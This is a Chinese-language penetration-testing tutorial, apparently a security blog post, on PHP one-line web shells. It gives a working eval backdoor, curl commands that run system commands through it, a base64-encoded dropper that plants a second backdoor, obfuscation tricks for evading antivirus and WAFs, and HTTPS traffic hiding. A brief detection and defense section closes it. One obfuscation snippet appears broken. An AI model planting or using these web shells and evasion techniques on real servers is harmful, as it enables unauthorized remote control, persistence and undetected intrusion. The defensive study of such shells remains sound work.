0x01 攻击板块
在一个真实的渗透测试案例中,我受邀对一家互联网公司的内部网络进行评估。在进入内部网络后,我发现他们的某个业务系统未更新,存在远程代码执行漏洞。为了进一步渗透,我选择使用一句话木马作为后续攻击的入口。本文旨在介绍如何使用一句话木马,并说明其使用和伪装技巧。注意:本文仅供授权安全测试和安全研究人员学习,请勿非法使用。
一句话木马通常是一个看似无害的代码片段,能够在目标服务器上执行任意命令。它的简洁性和灵活性使其成为渗透测试中一个强有力的工具,尤其在突破防御严格的环境时,我们可以快速部署并实现远控。
流量捕获实战
在这个章节,我们将搭建一个简单的实战环境,并通过一个流量捕获的过程,展示如何利用一句话木马进行渗透,达到内网横向移动的目的。
环境搭建
首先,我们需要一台带有 Web 服务的虚拟机作为目标机器。可以使用常见的 Linux 发行版,如 Ubuntu 或 CentOS,并安装 Apache 或 Nginx 作为 Web 服务器。确保目标机器防火墙开放80端口。
接下来,我们需要准备攻击者的机器,可以使用 Kali Linux,因为它预装了许多渗透测试工具。确保两个虚拟机在同一个网络中,确保我们可以从攻击者机器访问目标机器的 Web 服务。
流量捕获过程
在目标 Web 服务上配置如下 PHP 代码,作为一句话木马:
<pre><code class="language-php"><?php @eval($_POST['cmd']); ?></code></pre>
这个木马通过 HTTP POST 请求传递命令,并使用 PHP 的 eval 函数执行。为了捕获流量,我们可以在攻击者机器上使用 tcpdump 或 Wireshark 来监听目标机器的80端口流量。
以下是使用 tcpdump 的命令:
<pre><code class="language-bash">sudo tcpdump -i eth0 port 80 -w capture.pcap</code></pre>
该命令将在网络接口 eth0 上捕获目标机器的 HTTP 流量,并将其保存到 capture.pcap 文件中。
Payload构造的艺术

一句话木马的核心在于它的隐蔽性和灵活性。为了进一步深入目标系统,我们需要精心构造传递的 cmd 参数,以实现更复杂的操作。
基础命令执行
我们可以通过简单的 POST 请求执行命令,例如:
<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d "cmd=whoami"</code></pre>
这将返回执行结果的用户名。为了更隐蔽,我们可以在木马中加入命令混淆,防止被简单的字符串匹配检测到:
<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d "cmd=system(base64_decode('cHdk'));"</code></pre>
此命令通过 base64_decode 进行解码,执行 pwd 命令,从而返回当前工作目录。
复杂操作
为了实现更复杂的操作,比如文件上传、下载,我们可以通过以下方式构造木马:
<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d "cmd=file_put_contents('/tmp/backdoor.php', base64_decode('PD9waHAKQGV2YWwoJF9QT1NUW2NtZF0pOw=='));"</code></pre>
该命令创建一个新的 PHP 文件,并把一个新的木马解码后写入其中。这样,我们可以通过访问 /tmp/backdoor.php 来进一步控制目标机器。
绕过杀软与免杀技巧
一句话木马本身容易被检测到,尤其在目标服务器运行杀毒软件或 WAF 的情况下。因此我们需要进行免杀处理和流量伪装。
简单混淆
为了避免被杀软直接检测到,我们可以对木马进行简单混淆,例如使用字符串拼接:
<pre><code class="language-php"><?php @${"eval"}($_POST['cmd']); ?></code></pre>
或者通过字符串翻转:

<pre><code class="language-php"><?php @eval(strrev("dmc"["cmd"])); ?></code></pre>
流量隐藏
我们可以通过 HTTPS 加密进行传输,避免被流量分析工具检测到命令内容。确保目标服务器使用 SSL/TLS,并通过 curl 使用 https 协议:
<pre><code class="language-bash">curl -X POST https://target-ip/evil.php -d "cmd=whoami" --insecure</code></pre>
加上 --insecure 选项,以避免证书验证错误。
检测与防御策略
虽然一句话木马强大,但防御措施也在不断发展。作为防御者,我们需要识别和阻止这种攻击。
检测方法

使用流量分析工具(如 Wireshark)检测 POST 请求中的 cmd 参数是否包含可疑代码片段。同时,我们可以通过监控 Web 服务器的日志文件,识别频繁的异常请求。
Web应用防火墙(WAF)
部署 WAF,可以配置规则,匹配常见的一句话木马模式,并阻止这些请求。特别是对于 eval、system 等函数的使用进行严格过滤。
定期审计与更新
确保 Web 应用及服务器定期更新,修补已知漏洞。定期审计代码,尤其是用户可输入的部分,确保没有被恶意利用的可能。
个人经验分享
在多年的红队工作中,我发现一句话木马在快速渗透、权限维持方面发挥了巨大的作用。然而,攻击者的技巧与防御者的策略总是相互交替进化。为了应对不断变化的网络安全环境,我们必须保持学习与创新。
作为攻击者:永远不要低估目标的防御能力,任何时候都应该考虑如何隐藏自己。灵活运用混淆与加密技术,避免被简单识别。
作为防御者:保持警惕,及时更新 WAF 规则和系统补丁。通过日志和流量分析,发现异常并迅速响应。
本次分享的内容仅供学习与技术提升,期望安全研究人员能够通过不断的实践,提升自己在网络安全领域的能力。请合法合规地使用这些技术,维护网络空间安全。